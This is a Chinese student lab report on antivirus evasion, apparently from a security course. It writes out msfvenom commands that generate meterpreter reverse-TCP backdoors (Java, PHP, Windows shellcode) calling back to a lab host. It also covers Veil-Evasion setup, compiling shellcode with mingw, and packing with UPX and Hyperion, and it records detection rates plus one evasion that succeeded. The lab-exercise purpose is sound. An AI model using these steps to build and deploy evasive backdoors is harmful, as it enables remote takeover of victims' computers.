实践内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1.1MSF编码器
直接使用上次实验的20164309_backdoor.exe试试
看来文件名违法了,那改名为164309_backdoor。
改名后直接被清理。。看来裸奔的后门的确不好使。
找回文件添加进信任区,对其进行扫描
virscan57%的杀软报毒
有业界毒瘤之称的百度杀毒没查出来。。。(可喜可贺的是百度杀毒于去年11月份停止运营)
再在virustotal上试试,51个杀软报毒
看来大部分正常的杀毒软件都能够识别直接用msf生成的病毒
1.2veil-evasion
输入sudo apt-get install veil-evasion 下载veil-evasion工具
在尝试过老师的实验指导同学的实验报告和网络的各种方法之后,我花费了一天还是没有展开那几个veil文件,拷贝了同学的kali使用veil进行生成。
输入 veil 进入veil工具
输入 use evasion 进入veil-evasion
输入 use c/meterpreter/rev_tcp.c 选择C语言、tcp端口、反弹回连
输入 set LHOST 192.168.236.131 set LPORT 4309 设置反弹ip和端口
输入 generate 生成文件并命名为4309_veil
扫描发现还是报毒
1.3msfvenom生成php和jar
分别使用
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_java.jar
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_php.php
生成php和jar的shellcode文件
php表现较好
但这个不是可执行文件,没有可比性
再看看jar
virscan(7/49) virustotal(33/57)严重怀疑virscan放水
1.3shellcode
输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 -f c 生成后门
进入 vim 4309shellcode.c 进行修改,加上函数头、主函数与文件头,完善为合法的C语言文件
使用 i686-w64-mingw32-g++ 4309shellcode.c -o 4309shellcode.exe 使其生成可执行文件
电脑上的腾讯管家并未报毒,共存成功,那运行岂不是也能成功了?后来发现结果发现的确如此
这就算实现了???(后面发现并非如此)
1.4使用加壳工具
输入 upx 4309shellcode.exe -o 4309shellcodeupx.exe
腾讯管家没有报毒
任务二:通过组合应用各种技术实现恶意代码免杀
再对该文件进行加密 cd /usr/share/windows-binaries/hyperion/
wine hyperion.exe -v 4309_upx.exe 4309_upx_Hyperion.exe
加密之后报毒猛增!
看来杀软可能是根据压缩、加密壳里的字段进行判断是否为病毒的
运行看看
拷贝时没有被查杀,能够共存,但运行时出现了问题,看来腾讯管家还是有一些用的,放入白名单,发现回连成功。
再在虚拟机上复现,发现还是没能够实现回连(除非白名单伺候)
看来在2014年的腾讯管家就对其有一定的限制了,我认为对于不加壳的是反汇编分析源代码内容,发现程序头文件调用系统资源;而加壳加密的是直接查找有关的特征代码从而查找出病毒。
免杀路漫漫,我还是试一下python能不能够实现吧
使用
use python/meterpreter/rev_tcp.exe
生成python文件试试
输入 pip install pyinstaller pyinstaller -F 4309py.py 对生成的文件进行编译,转换成exe文件
???还是失败
那我想试试加壳到底能不能帮助免杀呢???
源文件采用上学期的操作系统实验代码
这都给我报毒???
改成英文名在kali上加壳加密
使用 upx caozuoxitong.exe -o caozuoxitongupx.exe 进行加壳
使用 wine hyperion.exe -v caozuoxitongupx.exe caozuoxitongupx_hy.exe 进行加密
大好河山一片红。。。
一个普通exe文件通过压缩加密之后反而报毒更多,看来刚刚的猜想被证实了,杀软通过壳里的特征码来进行杀毒的!!那在不手工修改代码的情况下肯定是难以实现的了。
基础问题回答
1.杀软是如何检测出恶意代码的?
通过编译恶意代码,或者发现其中的特征代码以实现,就像本次实验中的加壳反而会被报毒;
通过代码运行时的行为,就像本次实验中有的能与杀软共存,但是一旦运行还是会被清理;
2. 免杀是做什么?
通过一些手段使恶意代码不被目标主机发现
3.免杀的基本方法有哪些?
手工对恶意代码进行更改,研究病毒库中的特征码,再对特征码进行更改
4.开启杀软能绝对防止电脑中恶意代码吗?
不一定,但是大部分的能够防止,杀软的病毒库是根据检测出来的病毒更新的,所谓道高一尺魔高一丈,恶意代码总有新的漏洞可以利用。
实验感想
根据本次实验,以我们大多数人现在的水平,还没有达到通过编程直接生成病毒来实现入侵的水平,就算有,通过杀软通过编译伪装好的病毒也能够找出问题。而实验中的常规方法早已被各大杀软摸清楚底细,而且像我们用meterpreter生成的shellcode文件在运行时会生成meterpreter.o文件,这是调用系统资源的必要步骤,所以也许我们的后门能够共存,但是在不改变其根本结构的情况下不可能进行免杀,无论是对shellcode进行异或还是加壳最后编译完成的机器码是肯定会被检测出来的。而对于那些壳来说(尤其是加密壳)我们越是使用它反而被查杀的几率越大。尽管我没能完成回连,但是我用尽了我能够想到的方法,最起码做到了问心无愧。
原文地址:https://www.cnblogs.com/20164309-kx/p/10633005.html